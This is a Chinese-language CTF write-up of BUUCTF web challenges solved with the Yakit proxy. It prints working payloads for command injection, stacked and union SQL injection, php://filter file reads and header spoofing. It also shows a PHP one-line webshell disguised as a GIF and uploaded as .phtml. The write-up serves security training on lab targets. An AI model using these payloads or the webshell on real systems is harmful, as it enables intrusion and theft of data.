buuCTF WEB方向刷题(熟悉 Yakit)
[GXYCTF2019]Ping Ping Ping
思路
推测为拼接执行
$IFS$1
绕过空格, 创建 shell
变量绕过 flag
字符检测
Payload
/?ip=1|ls
ls 一下查看文件, 看到有两个文件, 其中一个是 flag.php
, 用上面的思路 cat
一下
/?ip=1;a=g;cat$IFS$1fla$a.php
用 Yakit
传的时候记得关闭左边的强制 https
solve~
[强网杯 2019]随便注
思路
给了一个输入框, 结合题目title, 推测可以注入
尝试堆叠注入注出表名, Payload
: 1';show tables;#
发现存在堆叠注入, 两个表名字分别为 1919810931114514
和 words
,来使用这句 Payload
: ';show columns from `1919810931114514`;#
查看表 1919810931114514
的列名, 发现 flag 在此表中
又因为其过滤了 select
, 但是因为我们可以堆叠注入, 于是搜到这个
handler users open as hd; #指定数据表进行载入并将返回句柄重命名
handler hd read first; #读取指定表/句柄的首行数据
handler hd read next; #读取指定表/句柄的下一行数据
handler hd close; #关闭句柄
构造 Payload
思路为: 指定 1919810931114514
表进行载入并重命名为 thisAlias
后读取第一条数据, 最后#
注释掉即将拼接的代码
最终Payload
';handler `1919810931114514` open as thisAlias;handler thisAlias read first#
Yakit 需要在参数处选中后手动选择 URL编码
solve~
[极客大挑战 2019]Secret File
思路
劫持后一步一步找线索得到这个网页
<html>
<title>secret</title>
<meta charset="utf-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
分析发现需要 get传参
又没有过滤 filter
, 于是用其构造 rce
探索php://filter在实战当中的奇技淫巧
于是构造如下 Payload
/secr3t.php?file=php://filter/resource=flag.php
发现并没有 flag
尝试读取后编码
Payload
/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
拿到 chef
解码
solve~
[极客大挑战 2019]LoveSQL
思路
随便注了下, 发现提示语法错误, 但是给出了一半拼接后的语句, 同时给出信息-数据库是 MariaDB
呃呃结果把--
换成#
注释就好了, 但是MariaDB
也是支持--
注释的啊(不过也说明是字符注入, 原因: 给出的一半拼接后的语句可以看到a
后的字符闭合符号 '
一并拼接到sql查询中后报语法错误)
a' or 1=1#
密码随意后回车
随后提示如下
推测密码是通过 md5
杂凑后的, 但是在cmd5
尝试查询后显示未查到
手动劫持模式后随便输入点东西点击登录, 再到 Yakit
里面将这个请求带到 Web Fuzzer
里面来, 对其请求适当构造 URL编码标签
后来将其当做 Hackbar
用
爆破字段数
admin ' order by 1 #
到 4 时报错, 说明字段数为 4
用 union 测注入点(回显点位)
得到回显点位为2和3
爆破数据库
得到数据库名
爆破数据表
/check.php?username={{urlescape(' union select 1,2,group_concat)}}(table_name){{urlenc( from information_schema.tables where table_schema=)}}database(){{urlenc(#)}}&password=1
得到 'geekuser,l0ve1ysq1'
两个数据表
爆破字段
/check.php?username={{urlescape(1' union select 1,2,group_concat)}}(column_name){{urlenc( from information_schema.columns where table_schema=)}}database(){{urlenc( and table_name='geekuser'#)}}&password=1
/check.php?username={{urlescape(1' union select 1,2,group_concat)}}(column_name){{urlenc( from information_schema.columns where table_schema=)}}database(){{urlenc( and table_name='l0ve1ysq1'#)}}&password=1
联合查询数据
/check.php?username={{urlescape(1' union select 1,2,group_concat)}}(id,username,password){{urlenc( from geekuser)}}{{urlenc(#)}}&password=1
/check.php?username={{urlescape(1' union select 1,2,group_concat)}}(id,username,password){{urlenc( from l0ve1ysq1)}}{{urlenc(#)}}&password=1
Payload 如上
solve~
[极客大挑战 2019]Http
思路
看到网页源码中有个文件, 访问一下发现提示: 不是来自 https://Sycsecret.buuoj.cn
不用管这是什么, 只需要知道可以构造 header头
实现绕过这个提示
添上这一条就好了
不过又提示让我们使用什么 "Syclover" browser
, 那就改下 UA
到下一小关
它说我们只能在locally访问,那么意思就是要我们使用127.0.0.1来访问,那来添加一行
Payload(Request)
GET /Secret.php HTTP/1.1
Host: node4.buuoj.cn:28144
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: https://Sycsecret.buuoj.cn
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Syclover
X-Forwarded-For: 127.0.0.1
solve~
[极客大挑战 2019]Knife
思路
访问题目后结合高亮的信息, 推测出需要菜刀这款工具, 而且题目提到了
eval($_POST["Syc"]);
ChatGPT 帮忙解读下这行代码
Promat:
解读代码 解析 eval($_POST["Syc"]);
回复如下
代码 eval($_POST["Syc"]);
是一段使用 PHP 编写的代码。让我们逐步解读它:
-
$_POST["Syc"]
:$_POST
是 PHP 中的一个超全局变量,用于获取通过 HTTP POST 方法发送到服务器的表单数据。$_POST["Syc"]
表示获取名为 "Syc" 的表单字段的值。 -
eval()
函数:eval()
是 PHP 中的一个函数,用于执行传递给它的字符串作为 PHP 代码。它可以将字符串作为动态代码进行解析和执行。
综合起来,eval($_POST["Syc"]);
的作用是将通过 HTTP POST 方法发送到服务器的名为 "Syc" 的表单字段的值作为字符串解析为 PHP 代码,并执行该代码。
然而,需要注意的是,使用 eval()
函数执行来自用户输入的任意代码是非常危险的,因为它可能导致安全漏洞和攻击。恶意用户可以通过构造恶意的输入来执行任意的 PHP 代码,包括访问、修改或删除文件、执行系统命令等。因此,应该谨慎使用 eval()
,尤其是对于来自不受信任的来源的输入数据。
如果有其他特定的需求,请提供更多上下文信息,我将尽力提供更详细的帮助。
简单的说这就是一个一句话木马, 这里理解为直接给了一个 WebShell
就好了
打开 蚁剑
, 右键添加数据 按如图输入两行数据, 测试连接发现成功
添加后双击打开, 下意识去根目录找找 flag
,不过这里有个小坑: 蚁剑左测栏目只能显示目录, 需要在屏幕中心这块区域查看根目录才能看到文件, 如图, 发现 flag
文件, 双击打开复制提交
solve~
[极客大挑战 2019]Upload
思路
访问实例发现是一个图片上传页面, 结合题目名称, 反应上来应该是上传木马, 达成任意执行
这牛魔网站我传个 png
都显示不是图像, 逆天
直接劫持构造请求, 先来写个 php一句话木马
, 用 .phtml
后缀绕过 .php
后缀关键字查询
替换下图高亮的部分, 给其标记为 jpeg
格式图片, 不过还是被检测了, html解码
后发现是 <?
被检测
就把🐴改为如下
GIF89a? <script language="php">eval($_REQUEST[123])</script>
这下就好了, 如下图
访问 upload
目录看看是否真的上传成功
ok 也打开查看过了没有问题
蚁剑
链接, 如下图配置
ok 在根目录找到 flag
最终 Payload
构造请求
POST /upload_file.php HTTP/1.1
Host: 38452b65-6556-4d68-a72b-e81da1d98a02.node4.buuoj.cn:81
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysdZmqDStYm6uZ686
Origin: http://38452b65-6556-4d68-a72b-e81da1d98a02.node4.buuoj.cn:81
Referer: http://38452b65-6556-4d68-a72b-e81da1d98a02.node4.buuoj.cn:81/
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Length: 307
------WebKitFormBoundarysdZmqDStYm6uZ686
Content-Disposition: form-data; name="file"; filename="1.phtml"
Content-Type: image/jpeg
GIF89a? <script language="php">eval($_REQUEST[123])</script>
------WebKitFormBoundarysdZmqDStYm6uZ686
Content-Disposition: form-data; name="submit"
提交
------WebKitFormBoundarysdZmqDStYm6uZ686--
蚁剑
链接
地址: http://38452b65-6556-4d68-a72b-e81da1d98a02.node4.buuoj.cn:81/upload/1.phtml
密码: 123
solve~
[第一章 web入门]常见的搜集
思路
访问实例后提示信息收集, 访问 /robots.txt
, 得到一个目录, 访问是前半部分 flag
这道题除了上边这个 txt, 还有信息存在, 如下文件
/index.php~
/.index.php.swp
打开后如下
拼起来就是 flag